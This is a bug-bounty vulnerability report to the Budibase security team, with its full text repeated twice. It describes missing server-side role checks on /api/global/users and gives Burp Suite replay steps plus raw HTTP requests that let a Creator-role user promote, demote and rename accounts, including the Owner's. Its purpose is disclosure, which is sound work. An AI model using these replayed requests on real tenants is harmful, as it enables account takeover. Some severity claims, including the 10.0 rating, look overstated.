From: Hassan Ismail (manhasino@gmail.com
To: Budibase Security Team
Description
This issue is a combination of Vertical Privilege Escalation and IDOR (Insecure Direct Object Reference) due to missing server-side RBAC checks in the /api/global/users endpoints.
A Creator-level user, who should have no permissions to manage users or organizational roles, can instead:
Promote an App Viewer → Tenant Admin.
Demote a Tenant Admin → App Viewer.
Modify the Owner’s account details And All Orders (e.g., change name).
Because the API accepts these actions without validating the requesting role, a Creator can replay Owner-only requests using their own session tokens. This leads to full tenant compromise.
🔬 Technical Details
Expected Role Model
Owner / Tenant Admin: Manage users, apps, and settings.
Creator: Build apps only.
App Viewer: View published apps.
Broken Behavior
The /api/global/users endpoint does not enforce RBAC.
Owner-only requests can be replayed by a Creator with their own cookies/CSRF.
Server returns 200 OK and applies unauthorized changes.
Steps to Reproduce (POC)
- Capture a Real Owner Request
Log in as Owner.
In Burp Suite, intercept a request where the Owner:
Promotes an App Viewer → Tenant Admin.
Demotes a Tenant Admin → App Viewer.
Changes a user’s name.
Send these requests to Repeater and drop them (do not forward).
- Log in as Creator
Log out Owner.
Log in with a Creator role user.
Capture a benign Creator request, e.g. updating their own profile:
POST /api/global/self HTTP/2
Host: hasinocompany.budibase.app
Cookie: <creator_session_cookie>
X-Csrf-Token: <creator_csrf_token>
{"firstName":"creator","lastName":"user"}
- Replay Owner Request with Creator’s Session
Take the Owner requests captured in Step 1.
Replace the Cookie and X-Csrf-Token values with the Creator’s session tokens.
Send the requests from Burp Repeater.
Example A – Promote App Viewer → Tenant Admin
POST /api/global/users HTTP/2
Host: hasinocompany.budibase.app
Cookie: <creator_session_cookie>
X-Csrf-Token: <creator_csrf_token>
Content-Type: application/json
{
"_id": "us_appviewer12345",
"firstName": "AppViewUser",
"lastName": "Upgraded",
"email": "appviewer@gmail.com",
"admin": {"global": true},
"builder": {"global": true},
"roles": {}
}
Response:
200 OK → App Viewer is now Tenant Admin.
Example B – Demote Tenant Admin → App Viewer
POST /api/global/users HTTP/2
Host: hasinocompany.budibase.app
Cookie: <creator_session_cookie>
X-Csrf-Token: <creator_csrf_token>
Content-Type: application/json
{
"_id": "us_tenantadmin67890",
"firstName": "Tenant",
"lastName": "Demoted",
"email": "tenantadmin@gmail.com",
"admin": {"global": false},
"roles": {"app_hasinocompany_123456789": "BASIC"}
}
Response:
200 OK → Tenant Admin is now an App Viewer.
Example C – Change Owner’s Name
POST /api/global/users HTTP/2
Host: hasinocompany.budibase.app
Cookie: <creator_session_cookie>
X-Csrf-Token: <creator_csrf_token>
Content-Type: application/json
{
"_id": "us_owneraccountid",
"firstName": "Compromised",
"lastName": "Owner",
"email": "owner@gmail.com"
}
Response:
200 OK → Owner’s name successfully changed by a Creator.
- Verify in Owner Dashboard
Log back in as Owner.
Check the user management UI.
After Attack – Manipulated Organization Members
cyber@hasinosec.lat
Role: Account holder
Name: ownername iwillchange
hasinotester@gmail.com
Role: Tenant Admin
Name: iwillpromoteappview totenantadminmeasceator
zohobug12@gmail.com
Role: Creator
Name: zohoiiiis hoss
mummynabila1@gmail.com
Role: App User
Name: iwilldemote tenantadmintoappview
✅ Owner’s name changed.
✅ App User promoted to Tenant Admin.
✅ Tenant Admin demoted to App User.
This demonstrates full privilege manipulation by a Creator role user.
Video PoC
I attempted to upload a video demonstrating the privilege escalation PoC, but the file size exceeds GitHub’s 10 MB limit. Therefore, please check the video through this link:
https://drive.google.com/file/d/1HYFcvdDmX1VtIOPSOd75uCwlfzom49oG/view?usp=sharing
⚡ Impact (Critical Implications)
Complete takeover of tenant: A Creator can promote themselves or an attacker to Tenant Admin.
Arbitrary demotion of admins: Legitimate Tenant Admins can be downgraded to App Users.
Owner impersonation: Creator can modify Owner’s first/last name, damaging trust.
Business disruption: Attackers can strip all admins of rights, locking out legitimate access.
Data exfiltration: Elevated roles grant access to sensitive applications and databases.
Service abuse: Attackers can invite malicious users and assign them privileges.
Fraud & impersonation: Modified Owner/Admin identities could be exploited for social engineering.
Insider threat amplification: Any low-privilege user with Creator role can silently escalate.
Compliance risk: Violates principles of least privilege, impacting GDPR, SOC2, ISO27001 compliance.
Undetectable abuse: The UI does not log or display Creator-initiated role changes, making detection extremely hard.
This vulnerability rates Critical (10.0/10) due to low attack complexity, no user interaction required, and full impact on confidentiality, integrity, and availability.
OWASP Mapping
A01:2021 – Broken Access Control
A03:2021 – Injection (via unvalidated role parameters)
A04:2021 – Insecure Design
A05:2021 – Security Misconfiguration
A07:2021 – Identification & Authentication Failures
A08:2021 – Software & Data Integrity Failures
A09:2021 – Security Logging & Monitoring Failures
🛠️ Recommendations
Enforce strict server-side RBAC checks on /api/global/users.
Block Creator roles from sending user-modification requests.
Implement least privilege principle on backend logic.
Sanitize user input on role objects to prevent injection-like abuse.
Educate developers on OWASP API Security Top 10.
📝 Additional Notes
This issue allows not only unauthorized user creation but also direct manipulation of existing Tenant Admins and the Owner.
The vulnerability poses a higher risk than user invite abuse because it directly compromises privileged accounts.
AND THEN
(This my second critical bug that I reporting to the Budibase platform.)
Hasinohacker Reporter
From: Hassan Ismail (manhasino@gmail.com
To: Budibase Security Team
Description
This issue is a combination of Vertical Privilege Escalation and IDOR (Insecure Direct Object Reference) due to missing server-side RBAC checks in the /api/global/users endpoints.
A Creator-level user, who should have no permissions to manage users or organizational roles, can instead:
Promote an App Viewer → Tenant Admin.
Demote a Tenant Admin → App Viewer.
Modify the Owner’s account details And All Orders (e.g., change name).
Because the API accepts these actions without validating the requesting role, a Creator can replay Owner-only requests using their own session tokens. This leads to full tenant compromise.
🔬 Technical Details
Expected Role Model
Owner / Tenant Admin: Manage users, apps, and settings.
Creator: Build apps only.
App Viewer: View published apps.
Broken Behavior
The /api/global/users endpoint does not enforce RBAC.
Owner-only requests can be replayed by a Creator with their own cookies/CSRF.
Server returns 200 OK and applies unauthorized changes.
Steps to Reproduce (POC)
Log in as Owner.
In Burp Suite, intercept a request where the Owner:
Promotes an App Viewer → Tenant Admin.
Demotes a Tenant Admin → App Viewer.
Changes a user’s name.
Send these requests to Repeater and drop them (do not forward).
Log out Owner.
Log in with a Creator role user.
Capture a benign Creator request, e.g. updating their own profile:
POST /api/global/self HTTP/2
Host: hasinocompany.budibase.app
Cookie: <creator_session_cookie>
X-Csrf-Token: <creator_csrf_token>
{"firstName":"creator","lastName":"user"}
Take the Owner requests captured in Step 1.
Replace the Cookie and X-Csrf-Token values with the Creator’s session tokens.
Send the requests from Burp Repeater.
Example A – Promote App Viewer → Tenant Admin
POST /api/global/users HTTP/2
Host: hasinocompany.budibase.app
Cookie: <creator_session_cookie>
X-Csrf-Token: <creator_csrf_token>
Content-Type: application/json
{
"_id": "us_appviewer12345",
"firstName": "AppViewUser",
"lastName": "Upgraded",
"email": "appviewer@gmail.com",
"admin": {"global": true},
"builder": {"global": true},
"roles": {}
}
Response:
200 OK → App Viewer is now Tenant Admin.
Example B – Demote Tenant Admin → App Viewer
POST /api/global/users HTTP/2
Host: hasinocompany.budibase.app
Cookie: <creator_session_cookie>
X-Csrf-Token: <creator_csrf_token>
Content-Type: application/json
{
"_id": "us_tenantadmin67890",
"firstName": "Tenant",
"lastName": "Demoted",
"email": "tenantadmin@gmail.com",
"admin": {"global": false},
"roles": {"app_hasinocompany_123456789": "BASIC"}
}
Response:
200 OK → Tenant Admin is now an App Viewer.
Example C – Change Owner’s Name
POST /api/global/users HTTP/2
Host: hasinocompany.budibase.app
Cookie: <creator_session_cookie>
X-Csrf-Token: <creator_csrf_token>
Content-Type: application/json
{
"_id": "us_owneraccountid",
"firstName": "Compromised",
"lastName": "Owner",
"email": "owner@gmail.com"
}
Response:
200 OK → Owner’s name successfully changed by a Creator.
Log back in as Owner.
Check the user management UI.
After Attack – Manipulated Organization Members
cyber@hasinosec.lat
Role: Account holder
Name: ownername iwillchange
hasinotester@gmail.com
Role: Tenant Admin
Name: iwillpromoteappview totenantadminmeasceator
zohobug12@gmail.com
Role: Creator
Name: zohoiiiis hoss
mummynabila1@gmail.com
Role: App User
Name: iwilldemote tenantadmintoappview
✅ Owner’s name changed.
✅ App User promoted to Tenant Admin.
✅ Tenant Admin demoted to App User.
This demonstrates full privilege manipulation by a Creator role user.
Video PoC
I attempted to upload a video demonstrating the privilege escalation PoC, but the file size exceeds GitHub’s 10 MB limit. Therefore, please check the video through this link:
https://drive.google.com/file/d/1HYFcvdDmX1VtIOPSOd75uCwlfzom49oG/view?usp=sharing
⚡ Impact (Critical Implications)
Complete takeover of tenant: A Creator can promote themselves or an attacker to Tenant Admin.
Arbitrary demotion of admins: Legitimate Tenant Admins can be downgraded to App Users.
Owner impersonation: Creator can modify Owner’s first/last name, damaging trust.
Business disruption: Attackers can strip all admins of rights, locking out legitimate access.
Data exfiltration: Elevated roles grant access to sensitive applications and databases.
Service abuse: Attackers can invite malicious users and assign them privileges.
Fraud & impersonation: Modified Owner/Admin identities could be exploited for social engineering.
Insider threat amplification: Any low-privilege user with Creator role can silently escalate.
Compliance risk: Violates principles of least privilege, impacting GDPR, SOC2, ISO27001 compliance.
Undetectable abuse: The UI does not log or display Creator-initiated role changes, making detection extremely hard.
This vulnerability rates Critical (10.0/10) due to low attack complexity, no user interaction required, and full impact on confidentiality, integrity, and availability.
OWASP Mapping
A01:2021 – Broken Access Control
A03:2021 – Injection (via unvalidated role parameters)
A04:2021 – Insecure Design
A05:2021 – Security Misconfiguration
A07:2021 – Identification & Authentication Failures
A08:2021 – Software & Data Integrity Failures
A09:2021 – Security Logging & Monitoring Failures
🛠️ Recommendations
Enforce strict server-side RBAC checks on /api/global/users.
Block Creator roles from sending user-modification requests.
Implement least privilege principle on backend logic.
Sanitize user input on role objects to prevent injection-like abuse.
Educate developers on OWASP API Security Top 10.
📝 Additional Notes
This issue allows not only unauthorized user creation but also direct manipulation of existing Tenant Admins and the Owner.
The vulnerability poses a higher risk than user invite abuse because it directly compromises privileged accounts.
AND THEN
(This my second critical bug that I reporting to the Budibase platform.)